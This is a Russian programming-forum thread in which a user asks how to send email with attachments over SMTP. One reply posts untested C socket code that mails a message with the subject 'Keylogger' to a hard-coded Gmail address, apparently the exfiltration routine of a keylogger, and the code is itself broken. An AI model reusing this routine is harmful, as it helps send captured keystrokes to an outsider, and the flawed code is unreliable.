компьютерный форум
Вернуться   Компьютерный форум > Программирование и вебстроительство > Программирование

Ответ
 
LinkBack Опции темы Опции просмотра
Старый 09.02.2006, 17:59   #1
wMw
Пользователи
 
Регистрация: 01.11.2005
Сообщений: 491
Thumbs up

1. Помогите мне пожалуйста с отправкой писем через SMTP да и чтоб письмо отправлялось с прикрипленым файлом. Да и поподробнее.

2. Поделитесь хорошим SMTP-Сервером.

Заранее большое человеческое спасибо!




wMw вне форума  
Digg this Post!Bookmark Post in Technorati
Ответить с цитированием
09.02.2006, 17:59
Техник
реклама
Thumbs up

Старый 09.02.2006, 18:50   #2
Пользователи
 
Регистрация: 10.09.2004
Сообщений: 985
По умолчанию

As Is
Не тестилось, но в теории должно работать =)
Код:
void sendMail(char* body) {

 * *WORD sockVersion;

 * *WSADATA wsaData;



 * *sockVersion = MAKEWORD(2, 0);



 * *WSAStartup(sockVersion, &wsaData);



 * *LPHOSTENT hostEntry;

 * *hostEntry = gethostbyname("smtp.gmail.com");



 * *SOCKET smtpSocket;

 * *smtpSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);



 * *SOCKADDR_IN serverInfo;

 * *serverInfo.sin_family = AF_INET;

 * *serverInfo.sin_addr = *((LPIN_ADDR)*hostEntry->h_addr_list);

 * *serverInfo.sin_port = htons(25); * * * *

 * *

 * *connect(smtpSocket, (LPSOCKADDR)&serverInfo, sizeof(struct sockaddr));



 * *send(smtpSocket, "helo

", 6, 0);

 * *send(smtpSocket, "mail from:me@mail.com

", strlen("mail from:me@mail.com

"), 0);

 * *send(smtpSocket, "rcpt to:colin3404@gmail.com

", strlen("rcpt to:colin3404@gmail.com

"),0);

 * *send(smtpSocket, "data

", 6, 0);

 * *send(smtpSocket, "subject:Keylogger

", strlen("subject:Keylogger

"), 0);

 * *sprintf(buffer1, "contenido:%s

.

", body);

 * *send(smtpSocket, buffer1, strlen("contenido:

.

")+strlen(body), 0);

 * *send(smtpSocket, "quit

", 6,0 );



 * *closesocket(smtpSocket);

 * *WSACleanup();

}
vxk7m вне форума  
Digg this Post!Bookmark Post in Technorati
Ответить с цитированием
Старый 16.05.2006, 07:28   #3
han
Пользователи
 
Регистрация: 12.05.2006
Сообщений: 79
По умолчанию

Есть хорошие компоненты для Builder & Delphi называются Indy
С их помощью можно создавать и письма с вложениями и отправлять их через SMTP
han вне форума  
Digg this Post!Bookmark Post in Technorati
Ответить с цитированием
Ответ


Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Вкл.
Pingbacks are Вкл.
Refbacks are Вкл.



Текущее время: 08:37. Часовой пояс GMT.


Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot
Content Relevant URLs by vBSEO 3.5.0 RC2